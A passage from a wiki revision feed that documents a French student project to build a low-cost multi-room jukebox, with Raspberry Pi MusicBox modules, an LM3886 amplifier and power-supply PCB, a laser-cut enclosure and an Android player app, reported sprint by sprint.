Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par les bobines, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27121</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27121"/>
				<updated>2016-02-13T15:03:39Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Alimentation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
